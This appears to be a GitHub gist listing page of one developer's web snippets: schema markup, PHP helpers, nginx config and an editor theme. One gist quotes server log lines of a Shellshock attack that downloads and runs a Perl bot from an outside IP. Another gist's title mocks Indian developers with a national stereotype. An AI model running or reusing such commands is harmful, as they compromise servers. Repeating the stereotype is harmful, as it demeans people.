Skip to content

Instantly share code, notes, and snippets.

@dhaupin
dhaupin / dev_schema_ld_organization.js
Created February 12, 2016 15:24
JSON-LD - Schema.org organization markup
<script type="application/ld+json">{
"@context":"http://schema.org",
"@type":"HomeGoodsStore",
"name":"Our Store",
"legalName":"Our Company",
"url":"https://www.ourstore.com/",
"sameAs":"http://plus.google.com/99999999999999",
"logo":"https://www.ourstore.com/image/logo.png",
"photo":"https://www.ourstore.com/image/ourstore.png",
"description":"People give us money and we give them GLORIOUS PRODUCTS.",
@dhaupin
dhaupin / dev_script_filter_os_url.php
Last active March 4, 2016 16:29
Function - User input string to EN sanitized filename, directory, slug, identifier, etc
<?php
// @last https://3v4l.org/iSgi8
// @same http://stackoverflow.com/a/34908708/2418655
// Start sample
$raw_str = '.....&lt;div&gt;&lt;/div&gt;<script></script>&amp; Weiß Göbel 中文百强网File name %20 %20 %21 %2C Décor \/. /. . z \... y \...... x ./ “This name” is & 462^^ not &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = that grrrreat -][09]()1234747) საბეჭდი-და-ტიპოგრაფიული';
$fallback_str = 'generated__' . date('Y-m-d_H-m_A');
$bad_extension = '....t&+++a()r.gz[]';
@dhaupin
dhaupin / dev_script_filter_char_print.php
Last active March 4, 2016 16:30
Function - Filter PDF/print rogue special characters from WYSIWYG "full-paste" or rando DB source
<?php
// @last https://3v4l.org/0LHkO
// Start sample
$str = '® ‡ ¼';
echo clean($str, false, false);
// End sample
@dhaupin
dhaupin / dev_script_logger_console_sys.php
Last active March 4, 2016 16:31
Function - Send debug logs to browser console and/or system log (var/log/messages)
<?php
// This goes in your log class, for this example we will access it in the view as $this->log->consoled
// These call a native platform log method, for this example we will call it $this->write()
public function syslog($message, $errlog = false) {
syslog(LOG_NOTICE, 'debug: (' . $_SERVER['SERVER_NAME'] . '@' . $_SERVER['SERVER_ADDR'] . ') [INFO] ' . $this->clean($message));
if ($errlog) {
$this->write('@System | ' . $message);
@dhaupin
dhaupin / dev_script_chk_common_passwords.php
Last active March 11, 2016 01:10
Function - Parse list of 10,000 most used passwords and return JSON or Object match for use on account validation
<?php
// This is part of a form class, this function shalt also be available via route with optional ?search= param
// password list: https://github.com/danielmiessler/SecLists/blob/master/Passwords/10_million_password_list_top_10000.txt
// example: www.example.com/chkpw.php&search=dra would return "dragon" (always returns the first pass found)
public function chkpass($password = false, $json = true) {
$pool = $output = array();
$pool = file('https://src.creadev.org/apps/pwlist/pwlist.txt', FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
@dhaupin
dhaupin / DUMP_perlbot.txt
Created July 12, 2016 15:52
Rando example of CVE-2016-4971
# http://31.220.3.180/mox
#/usr/local/apache/domlogs/123.123.123.123:31.220.3.180 - - [16/Mar/2016:10:57:33 -0400] "GET /hello HTTP/1.0" 404 1987 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://31.220.3.180/g.pl;curl -O http://31.220.3.180/g.pl;wget http://31.220.3.180/g.pl;perl /tmp/g.pl*;perl g.pl;rm -rf /tmp/g.pl*\""
#/usr/local/apache/domlogs/123.123.123.123:31.220.3.180 - - [27/May/2016:08:09:12 -0400] "GET /bashh HTTP/1.0" 404 1984 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://31.220.3.180/mox;curl -O http://31.220.3.180/mox;wget http://31.220.3.180/mox;perl /tmp/mox*;perl mox;rm -rf /tmp/mox*\""
##############################################################################
#!/usr/bin/perl
# ------------------------------------------------------------- #
@dhaupin
dhaupin / india_derps_like_its_1999.txt
Created August 8, 2016 17:27
Offshore India App Development -> Herds of 13 Year Old Kids Behind Amateur SEO Spam Bots, Calling Themselves "Executives" -> I R Need Webshite
We need a Wordpress plugin that can sync up to a simple O/CON 2 bridge to be the primary sine-sync for all O/XSPRC virt method drivers in the RLPROC schema for the notorious Rn237a-rev45 Kuborn platform. Comms must be authenticated with qAuth and retina scan, and run from our Wordpress API. This plugin should allow full remote driver binary mitigations with FULL templated proxy bytemaps which should allow us to quarantize O/CON nodes on demand. I cant stress FULL templated enough, all of our other bids come back as burst templated which, as you know, causes sine mismatch modulations on that specific Kuborn series. We need clean data. Clean. Clean. Clean.
Your plugin must then use templated half-byte functions to bootstrap + rebuild the loss prevent schema which will bring systems back online after either bus overheat or during routine bench checks. Eventually we will solve the bus overheat, but if you have ideas there, we are all ears. As a note, this system must support full O/XSPRC triplex mode during BIOS
@dhaupin
dhaupin / dev_script_cm_dialog_wrapper.js
Last active September 7, 2016 19:23
Function - Provides a way to create a dialog/popup/modal for images in CS-Cart
{literal}
<script type="text/javascript">
// @@MODIFICATION@@ Applies cm-dialog wrapper to images that have the class="cm-dialog-img"
$('img.cm-dialog-img').each(function() {
var src = ($(this).attr('data-ca-src')) ? $(this).attr('data-ca-src') : $(this).attr('src'),
title = ($(this).attr('alt') != undefined) ? ' title="' + $(this).attr('alt') + '"' : '',
base = location.protocol + "//" + location.host,
uri = src.replace(base, '').replace('/images/', ''),
uniq = Math.round(new Date().getTime() / 10000 * Math.random());
target_id = uri.replace(/http(s)?(:)?(\/){0,2}/g, '').replace(/\/|_|%20/g, '_').replace(/\./g, '-').split("?")[0].toLowerCase() + '-' + uniq;
@dhaupin
dhaupin / etc_nginx_sites-available_template.bak
Last active September 7, 2016 20:11
Server - Nginx default configs for NO-SSL and SSL enabled server blocks - Uses LetsEncrypt and FPM Unix sockets
server {
listen 80;
listen [::]:80;
server_name EXAMPLE.com www.EXAMPLE.com;
return 301 https://EXAMPLE.com$request_uri;
}
server {
listen 443 ssl http2;
@dhaupin
dhaupin / userDefineLang.xml
Created October 26, 2016 15:39
Notepad++ Wombat Theme - Modified Colors, Added TPL, Added Smarty
<NotepadPlus>
<UserLang name="Smarty-DH" ext="tpl" udlVersion="2.1">
<Settings>
<Global caseIgnored="no" allowFoldOfComments="no" foldCompact="no" forcePureLC="0" decimalSeparator="0" />
<Prefix Keywords1="no" Keywords2="no" Keywords3="yes" Keywords4="no" Keywords5="no" Keywords6="no" Keywords7="no" Keywords8="no" />
</Settings>
<KeywordLists>
<Keywords name="Comments">00{* 01 02*} 03 04*</Keywords>
<Keywords name="Numbers, prefix1"></Keywords>
<Keywords name="Numbers, prefix2"></Keywords>